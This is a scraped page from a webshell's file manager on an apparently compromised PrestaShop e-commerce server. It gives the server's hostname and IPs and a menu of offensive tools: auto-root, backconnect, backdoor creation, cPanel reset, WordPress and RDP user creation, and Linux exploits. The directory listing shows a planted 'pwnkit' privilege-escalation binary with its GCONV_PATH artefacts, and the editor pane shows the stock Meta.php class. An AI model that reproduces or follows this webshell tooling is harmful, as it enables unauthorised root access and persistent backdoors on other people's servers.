Linux node5458.myfcloud.com 6.10.2-x86_64-linode165 #1 SMP PREEMPT_DYNAMIC Tue Jul 30 15:03:21 EDT 2024 x86_64
Apache
: 45.79.123.194 | : 3.133.107.95
16 Domain
7.4.33
addify5
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
addify5 /
.trash /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Smarty
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
cache
[ DIR ]
drwxr-xr-x
checkout
[ DIR ]
drwxr-xr-x
container
[ DIR ]
drwxr-xr-x
controller
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
exception
[ DIR ]
drwxr-xr-x
form
[ DIR ]
drwxr-xr-x
helper
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
log
[ DIR ]
drwxr-xr-x
module
[ DIR ]
drwxr-xr-x
order
[ DIR ]
drwxr-xr-x
pdf
[ DIR ]
drwxr-xr-x
product
[ DIR ]
drwxr-xr-x
proxy
[ DIR ]
drwxr-xr-x
range
[ DIR ]
drwxr-xr-x
shop
[ DIR ]
drwxr-xr-x
stock
[ DIR ]
drwxr-xr-x
tax
[ DIR ]
drwxr-xr-x
tree
[ DIR ]
drwxr-xr-x
webservice
[ DIR ]
drwxr-xr-x
.htaccess
170
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
Access.php
13.25
KB
-rw-r--r--
Address.php
21.03
KB
-rw-r--r--
AddressChecksumCore.php
1.81
KB
-rw-r--r--
AddressFormat.php
24.54
KB
-rw-r--r--
Alias.php
4.99
KB
-rw-r--r--
Attachment.php
11.27
KB
-rw-r--r--
AttributeGroup.php
13.17
KB
-rw-r--r--
CMS.php
11.45
KB
-rw-r--r--
CMSCategory.php
23.56
KB
-rw-r--r--
CMSRole.php
1.78
KB
-rw-r--r--
CSV.php
3.04
KB
-rw-r--r--
Carrier.php
63.97
KB
-rw-r--r--
Cart.php
211.83
KB
-rw-r--r--
CartRule.php
89.84
KB
-rw-r--r--
Category.php
87
KB
-rw-r--r--
Chart.php
4.08
KB
-rw-r--r--
ChecksumInterface.php
1.22
KB
-rw-r--r--
Combination.php
17.59
KB
-rw-r--r--
Configuration.php
26.5
KB
-rw-r--r--
ConfigurationKPI.php
8.91
KB
-rw-r--r--
ConfigurationTest.php
12.02
KB
-rw-r--r--
Connection.php
10.02
KB
-rw-r--r--
ConnectionsSource.php
4.81
KB
-rw-r--r--
Contact.php
3.83
KB
-rw-r--r--
Context.php
17.94
KB
-rw-r--r--
Cookie.php
17.39
KB
-rw-r--r--
Country.php
16.33
KB
-rw-r--r--
Currency.php
36.3
KB
-rw-r--r--
Curve.php
2.92
KB
-rw-r--r--
Customer.php
52.22
KB
-rw-r--r--
CustomerAddress.php
1.26
KB
-rw-r--r--
CustomerMessage.php
5.75
KB
-rw-r--r--
CustomerSession.php
2.65
KB
-rw-r--r--
CustomerThread.php
9.62
KB
-rw-r--r--
Customization.php
13.43
KB
-rw-r--r--
CustomizationField.php
2.85
KB
-rw-r--r--
DateRange.php
2.47
KB
-rw-r--r--
Delivery.php
3.24
KB
-rw-r--r--
Dispatcher.php
46.94
KB
-rw-r--r--
Employee.php
23.5
KB
-rw-r--r--
EmployeeSession.php
2.65
KB
-rw-r--r--
Feature.php
11.38
KB
-rw-r--r--
FeatureFlag.php
3.15
KB
-rw-r--r--
FeatureValue.php
8.06
KB
-rw-r--r--
FileUploader.php
3.73
KB
-rw-r--r--
Gender.php
2.81
KB
-rw-r--r--
Group.php
14.96
KB
-rw-r--r--
GroupReduction.php
8.81
KB
-rw-r--r--
Guest.php
8.31
KB
-rw-r--r--
Hook.php
46.57
KB
-rw-r--r--
Image.php
31.24
KB
-rw-r--r--
ImageManager.php
31.79
KB
-rw-r--r--
ImageType.php
6.99
KB
-rw-r--r--
Language.php
62.06
KB
-rw-r--r--
Link.php
61.05
KB
-rw-r--r--
LocalizationPack.php
23.05
KB
-rw-r--r--
Mail.php
33.49
KB
-rw-r--r--
Manufacturer.php
21.2
KB
-rw-r--r--
ManufacturerAddress.php
1.28
KB
-rw-r--r--
Media.php
31.43
KB
-rw-r--r--
Message.php
6.47
KB
-rw-r--r--
Meta.php
18.21
KB
-rw-r--r--
Notification.php
8.27
KB
-rw-r--r--
ObjectModel.php
81.56
KB
-rw-r--r--
Pack.php
24.63
KB
-rw-r--r--
Page.php
4.49
KB
-rw-r--r--
PaymentFree.php
1.33
KB
-rw-r--r--
PaymentModule.php
59.49
KB
-rw-r--r--
PhpEncryption.php
3.21
KB
-rw-r--r--
PhpEncryptionEngine.php
3.86
KB
-rw-r--r--
PrestaShopAutoload.php
9.57
KB
-rw-r--r--
PrestaShopBackup.php
11.91
KB
-rw-r--r--
PrestaShopCollection.php
21.28
KB
-rw-r--r--
PrestaShopLogger.php
8.3
KB
-rw-r--r--
Product.php
309.01
KB
-rw-r--r--
ProductAssembler.php
6.73
KB
-rw-r--r--
ProductAttribute.php
13.48
KB
-rw-r--r--
ProductDownload.php
10.05
KB
-rw-r--r--
ProductPresenterFactory.php
3.89
KB
-rw-r--r--
ProductSale.php
12.7
KB
-rw-r--r--
ProductSupplier.php
8.34
KB
-rw-r--r--
Profile.php
8.32
KB
-rw-r--r--
QqUploadedFileForm.php
5.19
KB
-rw-r--r--
QqUploadedFileXhr.php
5.69
KB
-rw-r--r--
QuickAccess.php
6.25
KB
-rw-r--r--
RequestSql.php
20.93
KB
-rw-r--r--
Risk.php
2.36
KB
-rw-r--r--
Search.php
51.86
KB
-rw-r--r--
SearchEngine.php
2.81
KB
-rw-r--r--
SpecificPrice.php
32.43
KB
-rw-r--r--
SpecificPriceRule.php
14.04
KB
-rw-r--r--
State.php
7.77
KB
-rw-r--r--
Store.php
6.24
KB
-rw-r--r--
Supplier.php
17.89
KB
-rw-r--r--
SupplierAddress.php
1.27
KB
-rw-r--r--
Tab.php
21.7
KB
-rw-r--r--
Tag.php
13.24
KB
-rw-r--r--
Tools.php
136.37
KB
-rw-r--r--
Translate.php
11.78
KB
-rw-r--r--
TranslatedConfiguration.php
4.68
KB
-rw-r--r--
Upgrader.php
11.58
KB
-rw-r--r--
Uploader.php
10.84
KB
-rw-r--r--
Validate.php
38.87
KB
-rw-r--r--
ValidateConstraintTranslator.p...
2.55
KB
-rw-r--r--
WarehouseAddress.php
1.27
KB
-rw-r--r--
Zone.php
3.42
KB
-rw-r--r--
index.php
1.34
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Meta.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ use PrestaShop\PrestaShop\Adapter\Presenter\Object\ObjectPresenter; use Symfony\Component\HttpFoundation\IpUtils; /** * Class MetaCore. */ class MetaCore extends ObjectModel { public $page; public $configurable = 1; public $title; public $description; public $keywords; public $url_rewrite; /** * @see ObjectModel::$definition */ public static $definition = [ 'table' => 'meta', 'primary' => 'id_meta', 'multilang' => true, 'multilang_shop' => true, 'fields' => [ 'page' => ['type' => self::TYPE_STRING, 'validate' => 'isFileName', 'required' => true, 'size' => 64], 'configurable' => ['type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'], /* Lang fields */ 'title' => ['type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 128], 'description' => ['type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255], 'keywords' => ['type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255], 'url_rewrite' => ['type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isLinkRewrite', 'size' => 255], ], ]; /** * Get pages. * * @param bool $excludeFilled * @param bool|string $addPage * * @return array */ public static function getPages($excludeFilled = false, $addPage = false) { $selectedPages = []; if (!$files = Tools::scandir(_PS_CORE_DIR_ . DIRECTORY_SEPARATOR . 'controllers' . DIRECTORY_SEPARATOR . 'front' . DIRECTORY_SEPARATOR, 'php', '', true)) { die(Tools::displayError(Context::getContext()->getTranslator()->trans('Cannot scan root directory', [], 'Admin.Notifications.Error'))); } $overrideDir = _PS_CORE_DIR_ . DIRECTORY_SEPARATOR . 'override' . DIRECTORY_SEPARATOR . 'controllers' . DIRECTORY_SEPARATOR . 'front' . DIRECTORY_SEPARATOR; if (!is_dir($overrideDir)) { $overrideFiles = []; } elseif (!$overrideFiles = Tools::scandir($overrideDir, 'php', '', true)) { die(Tools::displayError(Context::getContext()->getTranslator()->trans('Cannot scan "override" directory', [], 'Admin.Notifications.Error'))); } $files = array_values(array_unique(array_merge($files, $overrideFiles))); // Exclude pages forbidden $exludePages = [ 'category', 'changecurrency', 'cms', 'footer', 'header', 'pagination', 'product', 'product-sort', 'statistics', ]; foreach ($files as $file) { if ($file != 'index.php' && !in_array(strtolower(str_replace('Controller.php', '', $file)), $exludePages)) { $className = str_replace('.php', '', $file); $reflection = class_exists($className) ? new ReflectionClass(str_replace('.php', '', $file)) : false; $properties = $reflection ? $reflection->getDefaultProperties() : []; if (isset($properties['php_self'])) { $selectedPages[$properties['php_self']] = $properties['php_self']; } elseif (preg_match('/^[a-z0-9_.-]*\.php$/i', $file)) { $selectedPages[strtolower(str_replace('Controller.php', '', $file))] = strtolower(str_replace('Controller.php', '', $file)); } elseif (preg_match('/^([a-z0-9_.-]*\/)?[a-z0-9_.-]*\.php$/i', $file)) { $selectedPages[strtolower(Context::getContext()->getTranslator()->trans('File %2$s (in directory %1$s)', [dirname($file), str_replace('Controller.php', '', basename($file))], 'Admin.Notifications.Error'))] = strtolower(str_replace('Controller.php', '', basename($file))); } } } // Add modules controllers to list (this function is cool !) foreach (glob(_PS_MODULE_DIR_ . '*/controllers/front/*.php') as $file) { $filename = Tools::strtolower(basename($file, '.php')); if ($filename == 'index') { continue; } $module = Tools::strtolower(basename(dirname(dirname(dirname($file))))); $selectedPages[$module . ' - ' . $filename] = 'module-' . $module . '-' . $filename; } // Exclude page already filled if ($excludeFilled) { $metas = Meta::getMetas(); foreach ($metas as $meta) { if (in_array($meta['page'], $selectedPages)) { unset($selectedPages[array_search($meta['page'], $selectedPages)]); } } } // Add selected page if ($addPage) { $name = $addPage; if (preg_match('#module-([a-z0-9_-]+)-([a-z0-9]+)$#i', $addPage, $m)) { $addPage = $m[1] . ' - ' . $m[2]; } $selectedPages[$addPage] = $name; asort($selectedPages); } return $selectedPages; } /** * Get all Metas. * * @return array|false|mysqli_result|PDOStatement|resource|null */ public static function getMetas() { return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT * FROM ' . _DB_PREFIX_ . 'meta ORDER BY page ASC'); } /** * Get all metas, but filter by Language. * * @param int $idLang Language ID * * @return array|false|mysqli_result|PDOStatement|resource|null */ public static function getMetasByIdLang($idLang) { return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' SELECT * FROM `' . _DB_PREFIX_ . 'meta` m LEFT JOIN `' . _DB_PREFIX_ . 'meta_lang` ml ON m.`id_meta` = ml.`id_meta` WHERE ml.`id_lang` = ' . (int) $idLang . Shop::addSqlRestrictionOnLang('ml') . 'ORDER BY page ASC'); } /** * Get metas by page. * * @param string $page * @param int $idLang Language ID * * @return array|bool|object|null */ public static function getMetaByPage($page, $idLang) { return Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' SELECT * FROM ' . _DB_PREFIX_ . 'meta m LEFT JOIN ' . _DB_PREFIX_ . 'meta_lang ml ON m.id_meta = ml.id_meta WHERE ( m.page = "' . pSQL($page) . '" OR m.page = "' . pSQL(str_replace('-', '', strtolower($page))) . '" ) AND ml.id_lang = ' . (int) $idLang . ' ' . Shop::addSqlRestrictionOnLang('ml')); } /** * Get all metas. * * @param int $idLang * * @return array|false|mysqli_result|PDOStatement|resource|null */ public static function getAllMeta($idLang) { return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' SELECT * FROM ' . _DB_PREFIX_ . 'meta m LEFT JOIN ' . _DB_PREFIX_ . 'meta_lang ml ON m.id_meta = ml.id_meta AND ml.id_lang = ' . (int) $idLang . ' ' . Shop::addSqlRestrictionOnLang('ml')); } /** * Updates the current Meta in the database. * * @param bool $nullValues Whether we want to use NULL values instead of empty quotes values * * @return bool Indicates whether the Meta has been successfully updated * * @throws PrestaShopDatabaseException * @throws PrestaShopException */ public function update($nullValues = false) { if (!parent::update($nullValues)) { return false; } return Tools::generateHtaccess(); } /** * Deletes current Meta from the database. * * @return bool `true` if delete was successful * * @throws PrestaShopException */ public function delete() { if (!parent::delete()) { return false; } return Tools::generateHtaccess(); } /** * Delete selection. * * @param array $selection * * @return bool */ public function deleteSelection($selection) { if (!is_array($selection)) { die(Tools::displayError('Parameter "selection" must be an array.')); } $result = true; foreach ($selection as $id) { $this->id = (int) $id; $result = $result && $this->delete(); } return $result && Tools::generateHtaccess(); } /** * Get equivalent URL rewrite. * * @param int $newIdLang * @param int $idLang * @param string $urlRewrite * * @return false|string|null */ public static function getEquivalentUrlRewrite($newIdLang, $idLang, $urlRewrite) { return Db::getInstance()->getValue(' SELECT url_rewrite FROM `' . _DB_PREFIX_ . 'meta_lang` WHERE id_meta = ( SELECT id_meta FROM `' . _DB_PREFIX_ . 'meta_lang` WHERE url_rewrite = \'' . pSQL($urlRewrite) . '\' AND id_lang = ' . (int) $idLang . ' AND id_shop = ' . Context::getContext()->shop->id . ' ) AND id_lang = ' . (int) $newIdLang . ' AND id_shop = ' . Context::getContext()->shop->id); } /** * Get meta tags. * * @since 1.5.0 */ public static function getMetaTags($idLang, $pageName, $title = '') { if (Configuration::get('PS_SHOP_ENABLE') || IpUtils::checkIp(Tools::getRemoteAddr(), explode(',', Configuration::get('PS_MAINTENANCE_IP')))) { if ($pageName == 'product' && ($idProduct = Tools::getValue('id_product'))) { return Meta::getProductMetas($idProduct, $idLang, $pageName); } elseif ($pageName == 'category' && ($idCategory = Tools::getValue('id_category'))) { return Meta::getCategoryMetas($idCategory, $idLang, $pageName, $title); } elseif ($pageName == 'manufacturer' && ($idManufacturer = Tools::getValue('id_manufacturer'))) { return Meta::getManufacturerMetas($idManufacturer, $idLang, $pageName); } elseif ($pageName == 'supplier' && ($idSupplier = Tools::getValue('id_supplier'))) { return Meta::getSupplierMetas($idSupplier, $idLang, $pageName); } elseif ($pageName == 'cms' && ($idCms = Tools::getValue('id_cms'))) { return Meta::getCmsMetas($idCms, $idLang, $pageName); } elseif ($pageName == 'cms' && ($idCmsCategory = Tools::getValue('id_cms_category'))) { return Meta::getCmsCategoryMetas($idCmsCategory, $idLang, $pageName); } } return Meta::getHomeMetas($idLang, $pageName); } /** * Get meta tags for a given page. * * @param int $idLang Language ID * @param string $pageName Page name * * @return array Meta tags * * @since 1.5.0 */ public static function getHomeMetas($idLang, $pageName) { $metas = Meta::getMetaByPage($pageName, $idLang); $ret['meta_title'] = (isset($metas['title']) && $metas['title']) ? $metas['title'] : Configuration::get('PS_SHOP_NAME'); $ret['meta_description'] = (isset($metas['description']) && $metas['description']) ? $metas['description'] : ''; $ret['meta_keywords'] = (isset($metas['keywords']) && $metas['keywords']) ? $metas['keywords'] : ''; $ret = Meta::completeMetaTags($ret, $ret['meta_title']); return $ret; } /** * Get product meta tags. * * @param int $idProduct * @param int $idLang * @param string $pageName * * @return array * * @since 1.5.0 */ public static function getProductMetas($idProduct, $idLang, $pageName) { $product = new Product($idProduct, false, $idLang); if (Validate::isLoadedObject($product) && $product->active) { $row = Meta::getPresentedObject($product); if (empty($row['meta_description'])) { $row['meta_description'] = strip_tags($row['description_short']); } return Meta::completeMetaTags($row, $row['name']); } return Meta::getHomeMetas($idLang, $pageName); } /** * Get category meta tags. * * @param int $idCategory * @param int $idLang * @param string $pageName * * @return array * * @since 1.5.0 */ public static function getCategoryMetas($idCategory, $idLang, $pageName, $title = '') { $category = new Category($idCategory, $idLang); $cacheId = 'Meta::getCategoryMetas' . (int) $idCategory . '-' . (int) $idLang; if (!Cache::isStored($cacheId)) { if (Validate::isLoadedObject($category)) { $row = Meta::getPresentedObject($category); if (empty($row['meta_description'])) { $row['meta_description'] = strip_tags($row['description']); } if (is_string($title) && $title !== '') { $row['meta_title'] = $title; } else { $row['meta_title'] = $row['meta_title'] ?: $row['name']; } $result = Meta::completeMetaTags($row, $row['name']); } else { $result = Meta::getHomeMetas($idLang, $pageName); } Cache::store($cacheId, $result); return $result; } return Cache::retrieve($cacheId); } /** * Get manufacturer meta tags. * * @param int $idManufacturer * @param int $idLang * @param string $pageName * * @return array * * @since 1.5.0 */ public static function getManufacturerMetas($idManufacturer, $idLang, $pageName) { $manufacturer = new Manufacturer($idManufacturer, $idLang); if (Validate::isLoadedObject($manufacturer)) { $row = Meta::getPresentedObject($manufacturer); if (!empty($row['meta_description'])) { $row['meta_description'] = strip_tags($row['meta_description']); } $row['meta_title'] = $row['meta_title'] ?: $row['name']; return Meta::completeMetaTags($row, $row['meta_title']); } return Meta::getHomeMetas($idLang, $pageName); } /** * Get supplier meta tags. * * @param int $idSupplier * @param int $idLang * @param string $pageName * * @return array * * @since 1.5.0 */ public static function getSupplierMetas($idSupplier, $idLang, $pageName) { $supplier = new Supplier($idSupplier, $idLang); if (Validate::isLoadedObject($supplier)) { $row = Meta::getPresentedObject($supplier); if (!empty($row['meta_description'])) { $row['meta_description'] = strip_tags($row['meta_description']); } return Meta::completeMetaTags($row, $row['name']); } return Meta::getHomeMetas($idLang, $pageName); } /** * Get CMS meta tags. * * @param int $idCms * @param int $idLang * @param string $pageName * * @return array * * @since 1.5.0 */ public static function getCmsMetas($idCms, $idLang, $pageName) { $cms = new CMS($idCms, $idLang); if (Validate::isLoadedObject($cms)) { $row = Meta::getPresentedObject($cms); $row['meta_title'] = !empty($row['head_seo_title']) ? $row['head_seo_title'] : $row['meta_title']; return Meta::completeMetaTags($row, $row['meta_title']); } return Meta::getHomeMetas($idLang, $pageName); } /** * Get CMS category meta tags. * * @param int $idCmsCategory * @param int $idLang * @param string $pageName * * @return array * * @since 1.5.0 */ public static function getCmsCategoryMetas($idCmsCategory, $idLang, $pageName) { $cmsCategory = new CMSCategory($idCmsCategory, $idLang); if (Validate::isLoadedObject($cmsCategory)) { $row = Meta::getPresentedObject($cmsCategory); $row['meta_title'] = empty($row['meta_title']) ? $row['name'] : $row['meta_title']; return Meta::completeMetaTags($row, $row['meta_title']); } return Meta::getHomeMetas($idLang, $pageName); } /** * @since 1.5.0 */ public static function completeMetaTags($metaTags, $defaultValue, Context $context = null) { if (!$context) { $context = Context::getContext(); } if (empty($metaTags['meta_title'])) { $metaTags['meta_title'] = $defaultValue; } if (!empty($context->controller) && method_exists($context->controller, 'getTemplateVarPagination')) { $metaTags['meta_title'] = Meta::paginateTitle($metaTags['meta_title']); } return $metaTags; } /** * Add page number to title * * @param string $title * * @return string */ public static function paginateTitle(string $title): string { $page_num = (int) Tools::getValue('page'); if ($page_num > 1) { $title .= ' (' . $page_num . ')'; } return $title; } /** * Get presented version of an object. * * @param ObjectModel $object * * @return array */ protected static function getPresentedObject($object) { $objectPresenter = new ObjectPresenter(); return $objectPresenter->present($object); } }
Close